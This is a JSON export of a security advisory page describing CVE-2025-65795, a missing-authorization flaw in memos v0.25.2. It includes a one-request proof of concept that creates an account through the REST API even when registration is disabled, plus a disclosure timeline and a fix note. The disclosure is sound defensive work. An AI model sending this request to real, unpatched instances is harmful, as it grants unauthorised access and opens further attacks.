{"id":24624,"date":"2025-12-05T12:51:07","date_gmt":"2025-12-05T11:51:07","guid":{"rendered":"https:\/\/herolab.usd.de\/?page_id=24624"},"modified":"2025-12-10T14:46:11","modified_gmt":"2025-12-10T13:46:11","slug":"usd-2025-0058","status":"publish","type":"page","link":"https:\/\/herolab.usd.de\/en\/security-advisories\/usd-2025-0058\/","title":{"rendered":"usd-2025-0058"},"content":{"rendered":"<p>[et_pb_section fb_built=\"1\" _builder_version=\"4.21.0\" _module_preset=\"default\" background_color=\"#2E353D\" custom_padding=\"||0px|||\" global_colors_info=\"{}\" theme_builder_area=\"post_content\"][et_pb_row _builder_version=\"4.25.2\" _module_preset=\"default\" global_colors_info=\"{}\" theme_builder_area=\"post_content\"][et_pb_column type=\"4_4\" _builder_version=\"4.21.0\" _module_preset=\"default\" global_colors_info=\"{}\" theme_builder_area=\"post_content\"][et_pb_text _builder_version=\"4.27.4\" _module_preset=\"default\" custom_padding=\"||13px|||\" hover_enabled=\"0\" global_colors_info=\"{}\" theme_builder_area=\"post_content\" sticky_enabled=\"0\"]<\/p>\n<h1>usd-2025-58 | Broken Access Control in User Registration<\/h1>\n<h1><\/h1>\n<p><strong>Product<\/strong>: memos<br \/><strong>Affected Version<\/strong>: v0.25.2<br \/><strong>Vulnerability Type<\/strong>: CWE-862: Missing Authorization<br \/><strong>Security Risk<\/strong>: Medium<br \/><strong>Vendor<\/strong>: usememos<br \/><strong>Vendor URL<\/strong>: <a href=\"https:\/\/github.com\/usememos\/memos\" target=\"_blank\" rel=\"noopener\">https:\/\/github.com\/usememos\/memos<\/a><br \/><strong>Vendor acknowledged vulnerability<\/strong>: Yes<br \/><strong>Vendor Status<\/strong>: Fixed<br \/><strong>CVE Number<\/strong>: CVE-2025-65795<br \/><strong>CVE Link<\/strong>: <a href=\"https:\/\/www.cve.org\/CVERecord?id=CVE-2025-65795\" target=\"_blank\" rel=\"noopener\">https:\/\/www.cve.org\/CVERecord?id=CVE-2025-65795<\/a><br \/><strong>Advisory ID<\/strong>: usd-2025-58<\/p>\n<h3>Description<\/h3>\n<p>Memos is a lightweight, self-hosted knowledge management and note-taking platform designed for personal use. The architecture features a Go backend paired with a React+Vite frontend, using gRPC for internal communication and providing REST API access through gRPC-Gateway. It supports multiple database backends (SQLite, MySQL, PostgreSQL) and includes features like file attachments, OAuth\/SSO integration, activity logging, and internationalization.<\/p>\n<p>Administrative users can disable public user registration. However, unauthenticated users can still be created by direct calls to the REST API.<\/p>\n<h3>Proof of Concept<\/h3>\n<p>User registrations can be disabled in the application settings, as shown in the following screenshot.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2025\/12\/DisabledUserRegistration.png\" width=\"796\" height=\"722\" alt=\"\" class=\"wp-image-24621 alignnone size-full\" srcset=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2025\/12\/DisabledUserRegistration.png 796w, https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2025\/12\/DisabledUserRegistration-480x435.png 480w\" sizes=\"(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) 796px, 100vw\" \/><\/p>\n<p>Nevertheless, an account can be created by the following HTTP request to the REST API.<\/p>\n<div class=\"codehilite\" style=\"background: #263238;color: #eff\">\n<pre style=\"line-height: 125%\"><span style=\"background: #263238\"><\/span><span class=\"nf\" style=\"background: #263238;color: #82aaff\">POST<\/span> <span class=\"nn\" style=\"background: #263238;color: #ffcb6b\">\/api\/v1\/users<\/span> <span class=\"kr\" style=\"background: #263238;color: #bb80b3\">HTTP<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">\/<\/span><span class=\"m\" style=\"background: #263238;color: #f78c6c\">1.1<\/span>\n<span class=\"na\" style=\"background: #263238;color: #bb80b3\">Host<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\">memos:5230<\/span>\n<span class=\"na\" style=\"background: #263238;color: #bb80b3\">Content-Type<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\">application\/json<\/span>\n<span class=\"na\" style=\"background: #263238;color: #bb80b3\">Content-Length<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\">42<\/span>\n\n<span class=\"p\" style=\"background: #263238;color: #89ddff\">{<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">    <\/span><span class=\"nt\" style=\"background: #263238;color: #ff5370\">\"username\"<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">:<\/span><span class=\"s2\" style=\"background: #263238;color: #c3e88d\">\"Test\"<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">,<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">    <\/span><span class=\"nt\" style=\"background: #263238;color: #ff5370\">\"password\"<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">:<\/span><span class=\"s2\" style=\"background: #263238;color: #c3e88d\">\"12345678\"<\/span>\n<span class=\"p\" style=\"background: #263238;color: #89ddff\">}<\/span>\n<\/pre>\n<\/div>\n<p>Note that this enables further attacks that require authentication, such as arbitrary file write or account takeovers as shown in usd-2025-56 and usd-2025-57.<\/p>\n<h3>Fix<\/h3>\n<p>A fix for the vulnerability has been submitted as <a href=\"TBD\">pull request<\/a>.<\/p>\n<h3>References<\/h3>\n<ul>\n<li><a href=\"https:\/\/owasp.org\/www-community\/Broken_Access_Control\" target=\"_blank\" rel=\"noopener\">https:\/\/owasp.org\/www-community\/Broken_Access_Control<\/a><\/li>\n<\/ul>\n<h3>Timeline<\/h3>\n<ul>\n<li><strong>2025-11-03<\/strong>: First contact request<\/li>\n<li><strong>2025-11-04<\/strong>: Pull request submitted<\/li>\n<li><strong>2025-11-06<\/strong>: Commit merged to main by vendor<\/li>\n<li><strong>2025-11-25<\/strong>: <a href=\"https:\/\/github.com\/usememos\/memos\/releases\/tag\/v0.25.3\" target=\"_blank\" rel=\"noopener\">Version 0.25.3<\/a> was released<\/li>\n<li><strong>2025-12-03<\/strong>: This advisory is published<\/li>\n<\/ul>\n<h3>Credits<\/h3>\n<p>This security vulnerability was identified by Florian Dewald of usd AG.<\/p>\n<p>[\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section]<\/p>\n","protected":false},"excerpt":{"rendered":"<p>usd-2025-58 | Broken Access Control in User Registration Product: memosAffected Version: v0.25.2Vulnerability Type: CWE-862: Missing AuthorizationSecurity Risk: MediumVendor: usememosVendor URL: https:\/\/github.com\/usememos\/memosVendor acknowledged vulnerability: YesVendor Status: FixedCVE Number: CVE-2025-65795CVE Link: https:\/\/www.cve.org\/CVERecord?id=CVE-2025-65795Advisory ID: usd-2025-58 Description Memos is a lightweight, self-hosted knowledge management and note-taking platform designed for personal use. The architecture features a Go backend paired with [&hellip;]<\/p>\n","protected":false},"author":118,"featured_media":0,"parent":16124,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":{"_et_pb_use_builder":"on","_et_pb_old_content":"","_et_gb_content_width":"","inline_featured_image":false,"footnotes":""},"class_list":["post-24624","page","type-page","status-publish","hentry"],"_links":{"self":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/24624","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/users\/118"}],"replies":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/comments?post=24624"}],"version-history":[{"count":5,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/24624\/revisions"}],"predecessor-version":[{"id":24723,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/24624\/revisions\/24723"}],"up":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/16124"}],"wp:attachment":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/media?parent=24624"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}